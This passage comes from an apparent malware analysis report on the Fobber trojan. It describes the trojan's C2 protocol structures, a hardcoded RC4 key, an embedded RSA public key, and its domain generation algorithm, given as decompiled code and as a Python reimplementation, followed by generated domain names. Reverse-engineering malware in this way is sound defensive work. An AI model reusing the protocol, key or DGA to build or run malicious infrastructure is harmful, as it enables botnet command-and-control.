00000120 6d 2f 73 65 73 73 69 6f 6e 73 2a 00 |m/sessions*. |

If a new configuration file is downloaded, this will be loaded in memory by all the browser-
injected threads.

Communication Protocol

Send

How the data is sent depends on which injection stage generated it.

Explorer.exe From the explorer injected shellcode we saw the following structure being
used:
struct SendNetworkProtocolStruct{

BYTE constValue50 = 0x50;
BYTE constValue4C = 0x4c;
BYTE is64bits;
BYTE injectionIndicator;
BYTE sendFunctionSelector;

}

The first two fields have fixed values (actually the letters “PL”, probably a magic number
to identify the malware version/campaign), the other ones are populated before the request
is sent and include:

• If the infected client runs a 64 bits OS
• The injectionIndicator identify from which injection stage the payload is sent (ex-

plorer, chrome, …)
• The sendFunctionSelector identify which function is used to send/receive data (win-

http or socket)
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Browser From the browser injected shellcode, the following structure is used:

struct SendNetworkProtocolStruct {
DWORD lengthWithoutThisField;
DWORD volumeSerialNumber;
DWORD installDate;
BYTE payloadType;
DWORD payloadLength;
BYTE[] payload;

};

The payload field is encrypted using RC4 with an hardcoded key 9SsTuUknCWB1k0R - iden-
tical to the one used to encrypt the configuration file:

Payload Type Values This field defines whats inside in the payload field, we saw the
following values:

• 0: Used for ‘OK’ and ‘ER’ msg (after a task is processed)
• 2: HTTP/S request matched configuration
• 4: HTTP/S request matched Cookie: *OAID pattern
• 8: Used for the ‘EM’ payload when in “low integrity mode”

Receive

When receiving data from the C2 server, the following structure is used:

struct ReceiveNetworkProtocolStruct {
DWORD payloadLength;
BYTE payloadType;
BYTE[] payload;

};

The accepted payloadType values are:

• 1) nemre.exe (malware update)
• 2) mlc.dfw (config update)
• 3) ktx.sdd (code to execute)
• 4) not yet analysed (execute exe/code somehow)

The received payload contains a signature (hash) verified by the malware to avoid tamper-
ing/takeover.

struct ReceivedPayloadStruct{
DWORD signatureLength;
BYTE[signatureLength] signature;
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BYTE[] payloadData;
}

The signature is validated using CryptVerifySignatureA API.
The public key used for validating the signature is stored (encrypted once more with the
same RC4 key) within the binary:
00000000 06 02 00 00 00 24 00 00 52 53 41 31 00 04 00 00 |.....$..RSA1....|
00000010 01 00 01 00 07 da e8 1b 4c 16 87 a7 e2 79 e8 bc |........L....y..|
00000020 0e d7 ed e6 8c 87 8c e7 c0 57 ab 01 46 0b af 0f |.........W..F...|
00000030 ac 28 f0 be f6 6a b3 d2 f0 6e 8b eb de 01 6a f4 |.(...j...n....j.|
00000040 f5 ba ae cc e3 4e 2f 61 a8 1f 14 e2 e2 2b c2 4b |.....N/a.....+.K|
00000050 58 07 14 b3 2c f0 e6 1f d8 ca a0 f8 44 0a 0a f5 |X...,.......D...|
00000060 16 8f 3f d8 af 63 7e c4 3f fc c0 14 fb 24 dc 38 |..?..c~.?....$.8|
00000070 e9 1d ae d0 da 82 6b fa 68 78 e1 dd fe 5d d7 9a |......k.hx...]..|
00000080 5e 8c f8 24 19 dc 55 c1 ec 97 53 b5 b0 e4 f4 e9 |^..$..U...S.....|
00000090 52 f1 22 c2 |R.".|

DGA

The DGA algorithm used by Fobber is pretty straightforward. Let’s see how the domains
are generated:
int __stdcall dga_generateDomain(_BYTE *dgaNameOut, int dgaSeed)
{
_BYTE *dgaNameOut2; // edi@1
signed int count; // ecx@1
int result; // eax@2

dgaNameOut2 = dgaNameOut;
count = 17;
do
{
result = __ROR4__(0x4E68F * dgaSeed - 0x667C0B56, 0x10);
dgaSeed = result;
*dgaNameOut2++ = (result & 0x17FFu) % 0x1A + 'a';
--count;

}
while ( count );
decryptString(a_net, dgaNameOut2); // concat .net to the

generated domain
return result;

}

In our sample the DGA seed started with value 0x0C87C8A78.
The algorithm generates a maximum of 300 unique domains and keep track of the last seed
that generated an active domain.

Scripting it with with Python will result in the following code:
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def generate_domain(local_seed):
res_domain = ""
pass_count = 17
while pass_count:

tmp = ror(0x4E68F * local_seed - 0x667C0B56, 0x10, 32)
local_seed = tmp
res_domain += chr((tmp & 0x17FF) % 0x1A + 0x61)
pass_count -= 1

res_domain += ".net"
return res_domain, local_seed

while True:
domain, seed = generate_domain(seed)
print domain
if count > 300:

break

count += 1

The list of generated domains is the following (only the first entries):

vhkintjtksyxgjrzz.net
btpnxlsfdqbhzazyx.net
ukfmknjdenthvktgc.net
qupxsrhrmuoinqrit.net
gjsbydmrpfzsmnfiu.net
indpstqbetcpcqprx.net
gwrdmhyjfcpcutmhp.net
bwnzcyypcbmnlpfsw.net
twkpwfuecvvzcincq.net
pdwfuxgnahmgsxhit.net
jyalcixnmcjafecuk.net
ocwhgfvoqhkdsrtjl.net
wfzuuinpiteusxqfo.net
xgsqljmoypxbflety.net
bnxnjmsuhiyvoclzi.net
...

HTTP Send/Receive function selection

Fobber includes two way to reach the C2 server.
One is by using wininet APIs, the other is by using winsocks.

seg001:003C4AD4 0C 12 A5 6B socketFunctionOffset dd 6BA5120Ch
; send_read_socket

seg001:003C4AD8 2D 19 A5 6B winhttpFunctionOffset dd 6BA5192Dh
; send_read_winhttp
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seg001:003C4ADC 0C 12 A5 6B socketFunctionOffset_ dd 6BA5120Ch
; send_read_socket

Although there are two different send/receive functions, they both connect to the C2 on
port 80 and using the HTTP protocol.
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